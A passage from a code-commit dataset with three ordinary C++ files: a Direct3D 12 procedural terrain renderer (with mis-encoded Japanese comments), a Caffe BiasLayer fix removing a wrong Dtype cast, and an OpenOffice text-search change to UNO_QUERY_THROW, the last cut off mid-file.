& GamePad::DPAD_DOWN) {\r\n\t\trotEye.x += 2.0f \/ 180.0f * 3.1415926f;\r\n\t}\r\n#endif\r\n static float offsetZ = 0;\r\n static float base = 0;\r\n const float limitOffsetZ = 100.0f \/ static_cast<float>(height - 1);\r\n offsetZ += 0.1f;\r\n if (offsetZ >= limitOffsetZ) {\r\n offsetZ -= limitOffsetZ;\r\n base += limitOffsetZ;\r\n }\r\n Graphics::Graphics& graphics = Graphics::Graphics::Get();\r\n\tConstantBuffer& constant = *pConstantBuffer;\r\n\tconst XMMATRIX matEye = XMMatrixRotationX(rotEye.x) * XMMatrixRotationY(rotEye.y) * XMMatrixTranslation(0, 0, offsetZ);\r\n\tconst XMVECTOR eyePos = XMVector4Transform(XMVECTOR{ 0, 0, -70, 1 }, matEye);\r\n const XMVECTOR eyeForcus = XMVector4Transform(XMVECTOR{ 0, 0, 0, 1 }, matEye);\r\n const XMVECTOR eyeUp = XMVector4Transform(XMVECTOR{ 0, 1, 0, 1 }, matEye);\r\n\tconst XMMATRIX matView = XMMatrixLookAtLH(eyePos, eyeForcus, eyeUp);\r\n\tconst XMMATRIX matProjection = XMMatrixPerspectiveFovLH(45.0f*(3.14f \/ 180.0f), graphics.viewport.Width \/ graphics.viewport.Height, 1.0f, 1000.0f);\r\n\tXMStoreFloat3(&constant.cbFrame.eye, eyePos);\r\n\tXMStoreFloat3(&constant.cbFrame.lightDir, XMVECTOR{1.0f \/ 1.41421356f, -1.0f \/ 1.41421356f, 0, 1});\r\n\tconstant.cbFrame.lightDiffuse = XMFLOAT3A(0.8f, 0.8f, 0.7f);\r\n\tconstant.cbFrame.lightSpecular = XMFLOAT3A(0.8f, 0.8f, 0.7f);\r\n\tconstant.cbFrame.lightAmbient = XMFLOAT3A(0.1f, 0.05f, 0.1f);\r\n\tconstant.cbTerrain = { 25, 100, 100, base };\r\n\tXMStoreFloat4x4A(&constant.cbFrame.matViewProjection, XMMatrixTranspose(matView * matProjection));\r\n}\r\n\r\n\/**\r\n* `.\r\n*\r\n* @param commandList `R}hs̃R}hXg.\r\n* @param cbTableIndex 萔obt@蓖Ă郋[gfXNv^e[ũCfbNX.\r\n*\/\r\nvoid ProcedualTerrain::Draw(ID3D12GraphicsCommandList* commandList, uint32_t cbTableIndex) const\r\n{\r\n Graphics::Graphics& graphics = Graphics::Graphics::Get();\r\n const PSO& pso = GetPSO(PSOType_Terrain);\r\n commandList->SetGraphicsRootSignature(pso.rootSignature.Get());\r\n commandList->SetPipelineState(pso.pso.Get());\r\n ID3D12DescriptorHeap* heapList[] = { graphics.csuDescriptorHeap.Get() };\r\n commandList->SetDescriptorHeaps(_countof(heapList), heapList);\r\n commandList->RSSetViewports(1, &graphics.viewport);\r\n commandList->RSSetScissorRects(1, &graphics.scissorRect);\r\n\r\n commandList->SetGraphicsRootDescriptorTable(cbTableIndex, cbGPUAddress);\r\n commandList->IASetPrimitiveTopology(D3D_PRIMITIVE_TOPOLOGY_4_CONTROL_POINT_PATCHLIST);\r\n commandList->IASetVertexBuffers(0, 1, &vertexBufferView);\r\n commandList->IASetIndexBuffer(&indexBufferView);\r\n commandList->DrawIndexedInstanced(indexCount, 1, 0, 0, 0);\r\n}\r\n<|endoftext|>"} {"text":"<commit_before>#include <vector>\n\n#include \"caffe\/filler.hpp\"\n#include \"caffe\/layers\/bias_layer.hpp\"\n#include \"caffe\/util\/math_functions.hpp\"\n\nnamespace caffe {\n\ntemplate <typename Dtype>\nvoid BiasLayer<Dtype>::LayerSetUp(const vector<Blob<Dtype>*>& bottom,\n const vector<Blob<Dtype>*>& top) {\n if (bottom.size() == 1 && this->blobs_.size() > 0) {\n LOG(INFO) << \"Skipping parameter initialization\";\n } else if (bottom.size() == 1) {\n \/\/ bias is a learned parameter; initialize it\n const BiasParameter& param = this->layer_param_.bias_param();\n const int axis = bottom[0]->CanonicalAxisIndex(param.axis());\n const int num_axes = param.num_axes();\n CHECK_GE(num_axes, -1) << \"num_axes must be non-negative, \"\n << \"or -1 to extend to the end of bottom[0]\";\n if (num_axes >= 0) {\n CHECK_GE(bottom[0]->num_axes(), axis + num_axes)\n << \"bias blob's shape extends past bottom[0]'s shape when applied \"\n << \"starting with bottom[0] axis = \" << axis;\n }\n this->blobs_.resize(1);\n const vector<int>::const_iterator& shape_start =\n bottom[0]->shape().begin() + axis;\n const vector<int>::const_iterator& shape_end =\n (num_axes == -1) ? bottom[0]->shape().end() : (shape_start + num_axes);\n vector<int> bias_shape(shape_start, shape_end);\n this->blobs_[0].reset(new Blob<Dtype>(bias_shape));\n shared_ptr<Filler<Dtype> > filler(GetFiller<Dtype>(param.filler()));\n filler->Fill(this->blobs_[0].get());\n }\n this->param_propagate_down_.resize(this->blobs_.size(), true);\n}\n\ntemplate <typename Dtype>\nvoid BiasLayer<Dtype>::Reshape(const vector<Blob<Dtype>*>& bottom,\n const vector<Blob<Dtype>*>& top) {\n const BiasParameter& param = this->layer_param_.bias_param();\n Blob<Dtype>* bias = (bottom.size() > 1) ? bottom[1] : this->blobs_[0].get();\n \/\/ Always set axis == 0 in special case where bias is a scalar\n \/\/ (num_axes == 0). Mathematically equivalent for any choice of axis, so the\n \/\/ actual setting can be safely ignored; and computation is most efficient\n \/\/ with axis == 0 and (therefore) outer_dim_ == 1.\n const int axis = (bias->num_axes() == 0) ?\n 0 : bottom[0]->CanonicalAxisIndex(param.axis());\n CHECK_GE(bottom[0]->num_axes(), axis + bias->num_axes())\n << \"bias blob's shape extends past bottom[0]'s shape when applied \"\n << \"starting with bottom[0] axis = \" << axis;\n for (int i = 0; i < bias->num_axes(); ++i) {\n CHECK_EQ(bottom[0]->shape(axis + i), bias->shape(i))\n << \"dimension mismatch between bottom[0]->shape(\" << axis + i\n << \") and bias->shape(\" << i << \")\";\n }\n outer_dim_ = bottom[0]->count(0, axis);\n bias_dim_ = bias->count();\n inner_dim_ = bottom[0]->count(axis + bias->num_axes());\n dim_ = bias_dim_ * inner_dim_;\n if (bottom[0] != top[0]) {\n top[0]->ReshapeLike(*bottom[0]);\n }\n bias_multiplier_.Reshape(vector<int>(1, inner_dim_));\n if (bias_multiplier_.cpu_data()[inner_dim_ - 1] != Dtype(1)) {\n caffe_set(inner_dim_, Dtype(1), bias_multiplier_.mutable_cpu_data());\n }\n}\n\ntemplate <typename Dtype>\nvoid BiasLayer<Dtype>::Forward_cpu(const vector<Blob<Dtype>*>& bottom,\n const vector<Blob<Dtype>*>& top) {\n const Dtype* bias_data =\n ((bottom.size() > 1) ? bottom[1] : this->blobs_[0].get())->cpu_data();\n Dtype* top_data = top[0]->mutable_cpu_data();\n if (bottom[0] != top[0]) {\n const Dtype* bottom_data = bottom[0]->cpu_data();\n caffe_copy(bottom[0]->count(), bottom_data, top_data);\n }\n for (int n = 0; n < outer_dim_; ++n) {\n caffe_cpu_gemm(CblasNoTrans, CblasNoTrans, bias_dim_,\n inner_dim_, Dtype(1), Dtype(1), bias_data,\n bias_multiplier_.cpu_data(), Dtype(1), top_data);\n top_data += dim_;\n }\n}\n\ntemplate <typename Dtype>\nvoid BiasLayer<Dtype>::Backward_cpu(const vector<Blob<Dtype>*>& top,\n const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom) {\n if (propagate_down[0] && bottom[0] != top[0]) {\n const Dtype* top_diff = top[0]->cpu_diff();\n Dtype* bottom_diff = bottom[0]->mutable_cpu_diff();\n caffe_copy(bottom[0]->count(), top_diff, bottom_diff);\n }\n \/\/ in-place, we don't need to do anything with the data diff\n const bool bias_param = (bottom.size() == 1);\n if ((!bias_param && propagate_down[1]) ||\n (bias_param && this->param_propagate_down_[0])) {\n const Dtype* top_diff = top[0]->cpu_diff();\n Dtype* bias_diff = (bias_param ? this->blobs_[0].get() : bottom[1])\n ->mutable_cpu_diff();\n bool accum = bias_param;\n for (int n = 0; n < outer_dim_; ++n) {\n caffe_cpu_gemv(CblasNoTrans, bias_dim_, inner_dim_, Dtype(1),\n top_diff, bias_multiplier_.cpu_data(), Dtype(accum), bias_diff);\n top_diff += dim_;\n accum = true;\n }\n }\n}\n\n#ifdef CPU_ONLY\nSTUB_GPU(BiasLayer);\n#endif\n\nINSTANTIATE_CLASS(BiasLayer);\nREGISTER_LAYER_CLASS(Bias);\n\n} \/\/ namespace caffe\n<commit_msg>Remove incorrect cast of gemm int arg to Dtype in BiasLayer<commit_after>#include <vector>\n\n#include \"caffe\/filler.hpp\"\n#include \"caffe\/layers\/bias_layer.hpp\"\n#include \"caffe\/util\/math_functions.hpp\"\n\nnamespace caffe {\n\ntemplate <typename Dtype>\nvoid BiasLayer<Dtype>::LayerSetUp(const vector<Blob<Dtype>*>& bottom,\n const vector<Blob<Dtype>*>& top) {\n if (bottom.size() == 1 && this->blobs_.size() > 0) {\n LOG(INFO) << \"Skipping parameter initialization\";\n } else if (bottom.size() == 1) {\n \/\/ bias is a learned parameter; initialize it\n const BiasParameter& param = this->layer_param_.bias_param();\n const int axis = bottom[0]->CanonicalAxisIndex(param.axis());\n const int num_axes = param.num_axes();\n CHECK_GE(num_axes, -1) << \"num_axes must be non-negative, \"\n << \"or -1 to extend to the end of bottom[0]\";\n if (num_axes >= 0) {\n CHECK_GE(bottom[0]->num_axes(), axis + num_axes)\n << \"bias blob's shape extends past bottom[0]'s shape when applied \"\n << \"starting with bottom[0] axis = \" << axis;\n }\n this->blobs_.resize(1);\n const vector<int>::const_iterator& shape_start =\n bottom[0]->shape().begin() + axis;\n const vector<int>::const_iterator& shape_end =\n (num_axes == -1) ? bottom[0]->shape().end() : (shape_start + num_axes);\n vector<int> bias_shape(shape_start, shape_end);\n this->blobs_[0].reset(new Blob<Dtype>(bias_shape));\n shared_ptr<Filler<Dtype> > filler(GetFiller<Dtype>(param.filler()));\n filler->Fill(this->blobs_[0].get());\n }\n this->param_propagate_down_.resize(this->blobs_.size(), true);\n}\n\ntemplate <typename Dtype>\nvoid BiasLayer<Dtype>::Reshape(const vector<Blob<Dtype>*>& bottom,\n const vector<Blob<Dtype>*>& top) {\n const BiasParameter& param = this->layer_param_.bias_param();\n Blob<Dtype>* bias = (bottom.size() > 1) ? bottom[1] : this->blobs_[0].get();\n \/\/ Always set axis == 0 in special case where bias is a scalar\n \/\/ (num_axes == 0). Mathematically equivalent for any choice of axis, so the\n \/\/ actual setting can be safely ignored; and computation is most efficient\n \/\/ with axis == 0 and (therefore) outer_dim_ == 1.\n const int axis = (bias->num_axes() == 0) ?\n 0 : bottom[0]->CanonicalAxisIndex(param.axis());\n CHECK_GE(bottom[0]->num_axes(), axis + bias->num_axes())\n << \"bias blob's shape extends past bottom[0]'s shape when applied \"\n << \"starting with bottom[0] axis = \" << axis;\n for (int i = 0; i < bias->num_axes(); ++i) {\n CHECK_EQ(bottom[0]->shape(axis + i), bias->shape(i))\n << \"dimension mismatch between bottom[0]->shape(\" << axis + i\n << \") and bias->shape(\" << i << \")\";\n }\n outer_dim_ = bottom[0]->count(0, axis);\n bias_dim_ = bias->count();\n inner_dim_ = bottom[0]->count(axis + bias->num_axes());\n dim_ = bias_dim_ * inner_dim_;\n if (bottom[0] != top[0]) {\n top[0]->ReshapeLike(*bottom[0]);\n }\n bias_multiplier_.Reshape(vector<int>(1, inner_dim_));\n if (bias_multiplier_.cpu_data()[inner_dim_ - 1] != Dtype(1)) {\n caffe_set(inner_dim_, Dtype(1), bias_multiplier_.mutable_cpu_data());\n }\n}\n\ntemplate <typename Dtype>\nvoid BiasLayer<Dtype>::Forward_cpu(const vector<Blob<Dtype>*>& bottom,\n const vector<Blob<Dtype>*>& top) {\n const Dtype* bias_data =\n ((bottom.size() > 1) ? bottom[1] : this->blobs_[0].get())->cpu_data();\n Dtype* top_data = top[0]->mutable_cpu_data();\n if (bottom[0] != top[0]) {\n const Dtype* bottom_data = bottom[0]->cpu_data();\n caffe_copy(bottom[0]->count(), bottom_data, top_data);\n }\n for (int n = 0; n < outer_dim_; ++n) {\n caffe_cpu_gemm(CblasNoTrans, CblasNoTrans, bias_dim_,\n inner_dim_, 1, Dtype(1), bias_data,\n bias_multiplier_.cpu_data(), Dtype(1), top_data);\n top_data += dim_;\n }\n}\n\ntemplate <typename Dtype>\nvoid BiasLayer<Dtype>::Backward_cpu(const vector<Blob<Dtype>*>& top,\n const vector<bool>& propagate_down, const vector<Blob<Dtype>*>& bottom) {\n if (propagate_down[0] && bottom[0] != top[0]) {\n const Dtype* top_diff = top[0]->cpu_diff();\n Dtype* bottom_diff = bottom[0]->mutable_cpu_diff();\n caffe_copy(bottom[0]->count(), top_diff, bottom_diff);\n }\n \/\/ in-place, we don't need to do anything with the data diff\n const bool bias_param = (bottom.size() == 1);\n if ((!bias_param && propagate_down[1]) ||\n (bias_param && this->param_propagate_down_[0])) {\n const Dtype* top_diff = top[0]->cpu_diff();\n Dtype* bias_diff = (bias_param ? this->blobs_[0].get() : bottom[1])\n ->mutable_cpu_diff();\n bool accum = bias_param;\n for (int n = 0; n < outer_dim_; ++n) {\n caffe_cpu_gemv(CblasNoTrans, bias_dim_, inner_dim_, Dtype(1),\n top_diff, bias_multiplier_.cpu_data(), Dtype(accum), bias_diff);\n top_diff += dim_;\n accum = true;\n }\n }\n}\n\n#ifdef CPU_ONLY\nSTUB_GPU(BiasLayer);\n#endif\n\nINSTANTIATE_CLASS(BiasLayer);\nREGISTER_LAYER_CLASS(Bias);\n\n} \/\/ namespace caffe\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: textsearch.cxx,v $\n *\n * $Revision: 1.12 $\n *\n * last change: $Author: obo $ $Date: 2006-09-17 01:26:10 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_unotools.hxx\"\n\n#ifndef INCLUDED_I18NPOOL_MSLANGID_HXX\n#include <i18npool\/mslangid.hxx>\n#endif\n#ifndef _DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _INTN_HXX \/\/autogen\n\/\/#include <tools\/intn.hxx>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UTIL_SEARCHFLAGS_HDL_\n#include <com\/sun\/star\/util\/SearchFlags.hdl>\n#endif\n#ifndef _COM_SUN_STAR_I18N_TRANSLITERATIONMODULES_HPP_\n#include <com\/sun\/star\/i18n\/TransliterationModules.hpp>\n#endif\n#ifndef _UNOTOOLS_CHARCLASS_HXX\n#include <unotools\/charclass.hxx>\n#endif\n\n#ifndef _COMPHELPER_PROCESSFACTORY_HXX_\n#include <comphelper\/processfactory.hxx>\n#endif\n#ifndef _UNOTOOLS_TEXTSEARCH_HXX\n#include <unotools\/textsearch.hxx>\n#endif\n\nusing namespace ::com::sun::star::util;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::lang;\n\n\/\/ ............................................................................\nnamespace utl\n{\n\/\/ ............................................................................\n\nSearchParam::SearchParam( const String &rText,\n SearchType eType,\n BOOL bCaseSensitive,\n BOOL bWrdOnly,\n BOOL bSearchInSel )\n{\n sSrchStr = rText;\n eSrchType = eType;\n\n bWordOnly = bWrdOnly;\n bSrchInSel = bSearchInSel;\n bCaseSense = bCaseSensitive;\n\n nTransliterationFlags = 0;\n\n \/\/ Werte fuer \"Gewichtete Levenshtein-Distanz\"\n bLEV_Relaxed = TRUE;\n nLEV_OtherX = 2;\n nLEV_ShorterY = 1;\n nLEV_LongerZ = 3;\n}\n\nSearchParam::SearchParam( const SearchParam& rParam )\n{\n sSrchStr = rParam.sSrchStr;\n sReplaceStr = rParam.sReplaceStr;\n eSrchType = rParam.eSrchType;\n\n bWordOnly = rParam.bWordOnly;\n bSrchInSel = rParam.bSrchInSel;\n bCaseSense = rParam.bCaseSense;\n\n bLEV_Relaxed = rParam.bLEV_Relaxed;\n nLEV_OtherX = rParam.nLEV_OtherX;\n nLEV_ShorterY = rParam.nLEV_ShorterY;\n nLEV_LongerZ = rParam.nLEV_LongerZ;\n\n nTransliterationFlags = rParam.nTransliterationFlags;\n}\n\n\/\/ Klasse zum Suchen eines Strings in einem Text. Es wird genau nach\n\/\/ dem String gesucht.\n\/\/ ( Die Unterscheidung der Gross\/Klein-Schreibung kann mit einen Flag\n\/\/ unterdrueckt werden )\n\nTextSearch::TextSearch(const SearchParam & rParam, LanguageType eLang )\n{\n if( LANGUAGE_NONE == eLang )\n eLang = LANGUAGE_SYSTEM;\n ::com::sun::star::lang::Locale aLocale(\n MsLangId::convertLanguageToLocale( LanguageType(eLang)));\n\n Init( rParam, aLocale);\n}\n\nTextSearch::TextSearch(const SearchParam & rParam, const CharClass& rCClass )\n{\n Init( rParam, rCClass.getLocale() );\n}\n\nTextSearch::TextSearch( const SearchOptions& rPara )\n{\n try\n {\n Reference< XMultiServiceFactory > xMSF = ::comphelper::getProcessServiceFactory();\n xTextSearch = Reference< XTextSearch > ( xMSF->createInstance(\n ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\n \"com.sun.star.util.TextSearch\" ) ) ), UNO_QUERY );\n xTextSearch->setOptions( rPara );\n }\n catch ( Exception& )\n {\n DBG_ERRORFILE( \"TextSearch ctor: Exception caught!\" );\n }\n}\n\nvoid TextSearch::Init( const SearchParam & rParam,\n const ::com::sun::star::lang::Locale& rLocale )\n{\n \/\/ convert SearchParam to the UNO SearchOptions\n SearchOptions aSOpt;\n\n switch( rParam.GetSrchType() )\n {\n case SearchParam::SRCH_REGEXP:\n aSOpt.algorithmType = SearchAlgorithms_REGEXP;\n if( rParam.IsSrchInSelection() )\n aSOpt.searchFlag |= SearchFlags::REG_NOT_BEGINOFLINE |\n SearchFlags::REG_NOT_ENDOFLINE;\n break;\n\n case SearchParam::SRCH_LEVDIST:\n aSOpt.algorithmType = SearchAlgorithms_APPROXIMATE;\n aSOpt.changedChars = rParam.GetLEVOther();\n aSOpt.deletedChars = rParam.GetLEVLonger();\n aSOpt.insertedChars = rParam.GetLEVShorter();\n if( rParam.IsSrchRelaxed() )\n aSOpt.searchFlag |= SearchFlags::LEV_RELAXED;\n break;\n\n\/\/ case SearchParam::SRCH_NORMAL:\n default:\n aSOpt.algorithmType = SearchAlgorithms_ABSOLUTE;\n if( rParam.IsSrchWordOnly() )\n aSOpt.searchFlag |= SearchFlags::NORM_WORD_ONLY;\n break;\n }\n aSOpt.searchString = rParam.GetSrchStr();\n aSOpt.replaceString = rParam.GetReplaceStr();\n aSOpt.Locale = rLocale;\n aSOpt.transliterateFlags = rParam.GetTransliterationFlags();\n if( !rParam.IsCaseSensitive() )\n {\n aSOpt.searchFlag |= SearchFlags::ALL_IGNORE_CASE;\n aSOpt.transliterateFlags |= ::com::sun::star::i18n::TransliterationModules_IGNORE_CASE;\n }\n\n try\n {\n Reference< XMultiServiceFactory > xMSF = ::comphelper::getProcessServiceFactory();\n xTextSearch = Reference< XTextSearch > ( xMSF->createInstance(\n ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\n \"com.sun.star.util.TextSearch\" ) ) ), UNO_QUERY );\n xTextSearch->setOptions( aSOpt );\n }\n catch ( Exception& )\n {\n DBG_ERRORFILE( \"TextSearch ctor: Exception caught!\" );\n }\n}\n\nvoid TextSearch::SetLocale( const ::com::sun::star::util::SearchOptions& rOptions,\n const ::com::sun::star::lang::Locale& rLocale )\n{\n \/\/ convert SearchParam to the UNO SearchOptions\n SearchOptions aSOpt( rOptions );\n aSOpt.Locale = rLocale;\n\n try\n {\n Reference< XMultiServiceFactory > xMSF = ::comphelper::getProcessServiceFactory();\n xTextSearch = Reference< XTextSearch > ( xMSF->createInstance(\n ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\n \"com.sun.star.util.TextSearch\" ) ) ), UNO_QUERY );\n xTextSearch->setOptions( aSOpt );\n }\n catch ( Exception& )\n {\n DBG_ERRORFILE( \"TextSearch ctor: Exception caught!\" );\n }\n}\n\n\nTextSearch::~TextSearch()\n{\n}\n\n\/*\n * Die allgemeinen Methoden zu Suchen. Diese rufen dann die entpsrecheden\n * Methoden fuer die normale Suche oder der Suche nach Regular-Expressions\n * ueber die MethodenPointer auf.\n *\/\n#if defined _MSC_VER\n#pragma optimize(\"\", off)\n#endif\nint TextSearch::SearchFrwrd( const String & rStr, xub_StrLen* pStart,\n xub_StrLen* pEnde, SearchResult* pRes )\n{\n int nRet = 0;\n try\n {\n if( xTextSearch.is() )\n {\n SearchResult aRet( xTextSearch->searchForward(\n rStr, *pStart, *pEnde ));\n if( 1 == aRet.subRegExpressions )\n {\n nRet = 1;\n \/\/ the XTextsearch returns in startOffset the higher position\n \/\/ and the endposition is allways exclusive.\n \/\/ The caller of this function will have in startPos the\n \/\/ lower pos. and end\n *pStart = (xub_StrLen)aRet.startOffset[ 0 ];\n *pEnde = (xub_StrLen)aRet.endOffset[ 0 ];\n if( pRes )\n *pRes = aRet;\n }\n }\n }\n catch ( Exception& )\n {\n DBG_ERRORFILE( \"SearchForward: Exception caught!\" );\n }\n return nRet;\n}\n\nint TextSearch::SearchBkwrd( const String & rStr, xub_StrLen* pStart,\n xub_StrLen* pEnde, SearchResult* pRes )\n{\n int nRet = 0;\n try\n {\n if( xTextSearch.is() )\n {\n SearchResult aRet( xTextSearch->searchBackward(\n rStr, *pStart, *pEnde ));\n if( aRet.subRegExpressions )\n {\n nRet = 1;\n \/\/ the XTextsearch returns in startOffset the higher position\n \/\/ and the endposition is allways exclusive.\n \/\/ The caller of this function will have in startPos the\n \/\/ lower pos. and end\n *pEnde = (xub_StrLen)aRet.startOffset[ 0 ];\n *pStart = (xub_StrLen)aRet.endOffset[ 0 ];\n if( pRes )\n *pRes = aRet;\n }\n }\n }\n catch ( Exception& )\n {\n DBG_ERRORFILE( \"SearchBackward: Exception caught!\" );\n }\n return nRet;\n}\n\n#if defined _MSC_VER\n#pragma optimize(\"\", on)\n#endif\n\n\/\/ ............................................................................\n} \/\/ namespace utl\n\/\/ ............................................................................\n\n<commit_msg>INTEGRATION: CWS c15v2_SRC680 (1.12.22); FILE MERGED 2007\/03\/16 10:27:17 dr 1.12.22.1: #146394# #146464# creating object may fail<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: textsearch.cxx,v $\n *\n * $Revision: 1.13 $\n *\n * last change: $Author: ihi $ $Date: 2007-03-26 12:46:42 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n\/\/ MARKER(update_precomp.py): autogen include statement, do not remove\n#include \"precompiled_unotools.hxx\"\n\n#ifndef INCLUDED_I18NPOOL_MSLANGID_HXX\n#include <i18npool\/mslangid.hxx>\n#endif\n#ifndef _DEBUG_HXX\n#include <tools\/debug.hxx>\n#endif\n#ifndef _INTN_HXX \/\/autogen\n\/\/#include <tools\/intn.hxx>\n#endif\n#ifndef _COM_SUN_STAR_LANG_XMULTISERVICEFACTORY_HPP_\n#include <com\/sun\/star\/lang\/XMultiServiceFactory.hpp>\n#endif\n#ifndef _COM_SUN_STAR_UTIL_SEARCHFLAGS_HDL_\n#include <com\/sun\/star\/util\/SearchFlags.hdl>\n#endif\n#ifndef _COM_SUN_STAR_I18N_TRANSLITERATIONMODULES_HPP_\n#include <com\/sun\/star\/i18n\/TransliterationModules.hpp>\n#endif\n#ifndef _UNOTOOLS_CHARCLASS_HXX\n#include <unotools\/charclass.hxx>\n#endif\n\n#ifndef _COMPHELPER_PROCESSFACTORY_HXX_\n#include <comphelper\/processfactory.hxx>\n#endif\n#ifndef _UNOTOOLS_TEXTSEARCH_HXX\n#include <unotools\/textsearch.hxx>\n#endif\n\nusing namespace ::com::sun::star::util;\nusing namespace ::com::sun::star::uno;\nusing namespace ::com::sun::star::lang;\n\n\/\/ ............................................................................\nnamespace utl\n{\n\/\/ ............................................................................\n\nSearchParam::SearchParam( const String &rText,\n SearchType eType,\n BOOL bCaseSensitive,\n BOOL bWrdOnly,\n BOOL bSearchInSel )\n{\n sSrchStr = rText;\n eSrchType = eType;\n\n bWordOnly = bWrdOnly;\n bSrchInSel = bSearchInSel;\n bCaseSense = bCaseSensitive;\n\n nTransliterationFlags = 0;\n\n \/\/ Werte fuer \"Gewichtete Levenshtein-Distanz\"\n bLEV_Relaxed = TRUE;\n nLEV_OtherX = 2;\n nLEV_ShorterY = 1;\n nLEV_LongerZ = 3;\n}\n\nSearchParam::SearchParam( const SearchParam& rParam )\n{\n sSrchStr = rParam.sSrchStr;\n sReplaceStr = rParam.sReplaceStr;\n eSrchType = rParam.eSrchType;\n\n bWordOnly = rParam.bWordOnly;\n bSrchInSel = rParam.bSrchInSel;\n bCaseSense = rParam.bCaseSense;\n\n bLEV_Relaxed = rParam.bLEV_Relaxed;\n nLEV_OtherX = rParam.nLEV_OtherX;\n nLEV_ShorterY = rParam.nLEV_ShorterY;\n nLEV_LongerZ = rParam.nLEV_LongerZ;\n\n nTransliterationFlags = rParam.nTransliterationFlags;\n}\n\n\/\/ Klasse zum Suchen eines Strings in einem Text. Es wird genau nach\n\/\/ dem String gesucht.\n\/\/ ( Die Unterscheidung der Gross\/Klein-Schreibung kann mit einen Flag\n\/\/ unterdrueckt werden )\n\nTextSearch::TextSearch(const SearchParam & rParam, LanguageType eLang )\n{\n if( LANGUAGE_NONE == eLang )\n eLang = LANGUAGE_SYSTEM;\n ::com::sun::star::lang::Locale aLocale(\n MsLangId::convertLanguageToLocale( LanguageType(eLang)));\n\n Init( rParam, aLocale);\n}\n\nTextSearch::TextSearch(const SearchParam & rParam, const CharClass& rCClass )\n{\n Init( rParam, rCClass.getLocale() );\n}\n\nTextSearch::TextSearch( const SearchOptions& rPara )\n{\n try\n {\n Reference< XMultiServiceFactory > xMSF = ::comphelper::getProcessServiceFactory();\n xTextSearch = Reference< XTextSearch > ( xMSF->createInstance(\n ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\n \"com.sun.star.util.TextSearch\" ) ) ), UNO_QUERY_THROW );\n xTextSearch->setOptions( rPara );\n }\n catch ( Exception& )\n {\n DBG_ERRORFILE( \"TextSearch ctor: Exception caught!\" );\n }\n}\n\nvoid TextSearch::Init( const SearchParam & rParam,\n const ::com::sun::star::lang::Locale& rLocale )\n{\n \/\/ convert SearchParam to the UNO SearchOptions\n SearchOptions aSOpt;\n\n switch( rParam.GetSrchType() )\n {\n case SearchParam::SRCH_REGEXP:\n aSOpt.algorithmType = SearchAlgorithms_REGEXP;\n if( rParam.IsSrchInSelection() )\n aSOpt.searchFlag |= SearchFlags::REG_NOT_BEGINOFLINE |\n SearchFlags::REG_NOT_ENDOFLINE;\n break;\n\n case SearchParam::SRCH_LEVDIST:\n aSOpt.algorithmType = SearchAlgorithms_APPROXIMATE;\n aSOpt.changedChars = rParam.GetLEVOther();\n aSOpt.deletedChars = rParam.GetLEVLonger();\n aSOpt.insertedChars = rParam.GetLEVShorter();\n if( rParam.IsSrchRelaxed() )\n aSOpt.searchFlag |= SearchFlags::LEV_RELAXED;\n break;\n\n\/\/ case SearchParam::SRCH_NORMAL:\n default:\n aSOpt.algorithmType = SearchAlgorithms_ABSOLUTE;\n if( rParam.IsSrchWordOnly() )\n aSOpt.searchFlag |= SearchFlags::NORM_WORD_ONLY;\n break;\n }\n aSOpt.searchString = rParam.GetSrchStr();\n aSOpt.replaceString = rParam.GetReplaceStr();\n aSOpt.Locale = rLocale;\n aSOpt.transliterateFlags = rParam.GetTransliterationFlags();\n if( !rParam.IsCaseSensitive() )\n {\n aSOpt.searchFlag |= SearchFlags::ALL_IGNORE_CASE;\n aSOpt.transliterateFlags |= ::com::sun::star::i18n::TransliterationModules_IGNORE_CASE;\n }\n\n try\n {\n Reference< XMultiServiceFactory > xMSF = ::comphelper::getProcessServiceFactory();\n xTextSearch = Reference< XTextSearch > ( xMSF->createInstance(\n ::rtl::OUString( RTL_CONSTASCII_USTRINGPARAM(\n \"com.sun.star.util.TextSearch\" ) ) ), UNO_QUERY_THROW );\n xTextSearch->setOptions( aSOpt );\n }\n catch ( Exception& )\n {\n DBG_ERRORFILE( \"TextSearch ctor: Exception 